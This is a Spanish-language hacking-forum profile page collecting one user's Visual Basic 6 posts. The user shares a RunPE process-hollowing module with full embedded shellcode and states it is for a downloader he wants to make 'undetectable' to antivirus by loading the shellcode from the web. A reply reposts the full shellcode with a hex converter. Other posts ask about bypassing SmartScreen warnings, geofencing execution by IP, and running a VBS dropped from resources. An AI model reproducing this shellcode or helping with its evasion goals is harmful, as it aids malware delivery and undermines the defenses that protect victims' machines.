elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / Re: VB6 Obtener geolocalizacion e impedir acceso?? en: 9 Agosto 2021, 03:54 am
Gracias por responder un saludos
2  Programación / Programación Visual Basic / VB6 Obtener geolocalizacion e impedir acceso?? en: 3 Agosto 2021, 07:58 am
Buenas noches estoy usando una funcion que me arroja mi ip publica ahora mi pregunta es como puedo hacer para obtener mediante mi ip publica  mi geolocalizacion para que mi archivo solo sea posible de ejecutar en un rango de ip.


desde ya gracias un  saludo.
3  Programación / Programación Visual Basic / smartscreen en vb6? en: 9 Febrero 2021, 01:41 am
Hola buenas noches... me paso que intento abrir un ejecutable compilado en visual 6 y me salta  el cartel en rojo  del smart, es normal esto?  es problema de mi compilador, o que?
 Se puede evitar?

desde ya gracias saludos.
4  Programación / Programación Visual Basic / Re: Mod runpe shellcode en: 28 Enero 2021, 21:41 pm
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código
  1. Private Sub Form_Load()
  2.    Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.
  3.  
  4.    b_ASM = GetBytesFromASM
  5.    '... lo que tengas que hacer con dicho array
  6.  
  7.    ' ejemplo:
  8.    Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
  9.    For k = 0 To 31
  10.        Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
  11.    Next
  12. End Sub
  13.  
  14.  
  15. Private Function GetBytesFromASM() As Byte()
  16.    Dim s_ASM(7) As String
  17.  
  18.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  19.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  20.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  21.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  22.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  23.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  24.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  25.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  26.  
  27.    GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
  28. End Function
  29.  

La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).

La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código
  1.  
  2. Private Function GetBytesFromASM() As Byte()
  3.    Dim s_ASM(7) As String, strHex As String
  4.  
  5.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  6.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  7.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  8.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  9.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  10.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  11.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  12.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  13.  
  14.    'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
  15.    GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
  16. End Function
  17.  
  18. ' Convierte un string hexadecimal a un array de bytes.
  19. '   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
  20. Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
  21.    Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
  22.    Dim bHex() As Byte
  23.  
  24.    j = Len(strHex)
  25.  
  26.    ReDim bHex(0 To (j \ 2) - 1)
  27.    For k = 1 To j Step 2
  28.        U = Asc(Mid$(strHex, k, 1))
  29.        If (U < 65) Then            ' 0-9 (48-57) --> 0-9
  30.            U = (U - 48)
  31.        Else
  32.            U = (U - 55)            ' A-F (65-70) --> 10-15
  33.        End If
  34.  
  35.        D = Asc(Mid$(strHex, k + 1, 1))
  36.        If (D < 65) Then            ' 0-9 (48-57) --> 0-9
  37.            D = (D - 48)
  38.        Else
  39.            D = (D - 55)            ' A-F (65-70) --> 10-15
  40.        End If
  41.  
  42.        bHex(ix) = ((U * 16) + D)
  43.        ix = (ix + 1)
  44.    Next
  45.  
  46.    StringHexToByteArray = bHex
  47. End Function
  48.  

probando con esta línea:
Código
  1. Private Sub Form_Load()
  2.   ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
  3.    debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
  4. end sub
el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.

Gracias por responder, no pude resolverlo pero agradezco tu tiempo. :)
5  Programación / Programación Visual Basic / Mod runpe shellcode en: 17 Enero 2021, 00:19 am
Código
  1. Option Explicit
  2.  
  3. '---------------------------------------------------------------------------------------
  4. ' Module    : mshRunPE_Strings
  5. ' Author    : iCodeInVB6
  6. ' Now       : 05/16/2012 11:40
  7. ' Purpose   : Run executable in memory
  8. '             Only uses CallWindowProc & shellcode
  9. ' Credits   : hamavb <-- made the shellcode!
  10. ' Tested    : Win7 x64
  11. '---------------------------------------------------------------------------------------
  12.  
  13. 'USER32
  14. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  15.  
  16. Private s_ASM(7) As String
  17. Private b_ASM(1287) As Byte
  18.  
  19. Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
  20.    Dim i As Long
  21.    Dim j As Long
  22.    Dim k As Long
  23.  
  24.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  25.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  26.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  27.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  28.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  29.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  30.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  31.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  32.  
  33.    For i = 0 To 7
  34.        For j = 1 To 322 Step 2
  35.            b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
  36.        Next j
  37.    Next i
  38.  
  39.    CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
  40. End Sub



Gente como estan? espero que bien, estoy por crear un downloader runtime en vb6 y voy a utilizar este runpe, me gustaria modearlo un poco para dejarlo indetectable a los anti virus , mi pregunta es como puedo hacer para que el shellcode que tiene que esta dividido en 7 partes, sea solo 1 string , ya que lo cargaria mediante  web y de esta forma me ayudaria a quitar firmas.





Muchas gracias de ante mano saludos.




6  Programación / Programación Visual Basic / Re: Ejecutar un Vbs desde Recursos en: 16 Enero 2021, 07:30 am
Ya lo pude solucionar gracias!!

saludos :D
7  Programación / Programación Visual Basic / Re: Ejecutar un Vbs desde Recursos en: 16 Enero 2021, 06:58 am
Primero tienes que  usar el editor de recursos para añadir un "CustomResource", que en el caso dado será elegir el fichero vbs y guardar el fichero de recursos (te lo pide antes de compilar).

Luego en tiempo de ejecución tienes que usar la función LoadResData
Ten presente que dicha función devuelve un array de bytes, con los que ya tu trabajas como te convenga, lo puedes guardar a un fichero y ejecutar y al terminar borrarlo, etc...

Un simple ejemplo de muestra...
Código
  1. Private Sub RescatarElVbs()
  2.    Dim canal As integer, ruta As String
  3.    Dim vbsFile() As Byte
  4.  
  5.    canal  = FreeFile
  6.    ruta  = App.Path & "\" & cstr(now) & ".vbs"
  7.    Open ruta  For Binary As #canal
  8.    vbsFile = LoadResData(108, "MiVBS")  ' valores ficiticios de ejemplo, deben ser loa que contengan el recurso.
  9.    Put #canal , , vbsFile
  10.    erase vbsFile
  11.    Close #canal
  12.  
  13.   ' shell(...)  o lo que quieras hacer con ello.
  14.   ' kill ruta .. cuando termines.
  15. end sub
  16.  






Gracias por tu respuesta de verdad,  pobre con tu ejemplo use shell para llamar al vbs  y me tira error en lo que seria la ruta, tenes idea que puede ser?
gracias nuevamente.
8  Programación / Programación Visual Basic / Ejecutar un Vbs desde Recursos en: 15 Enero 2021, 22:31 pm
Buenas chavales, como estan? espero que bien, aqui tengo mi duda, quiero cargar un vbs desde recursos en vb6 y luego ejecutarlo.


Desde ya  muchas gracias saludos.!
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines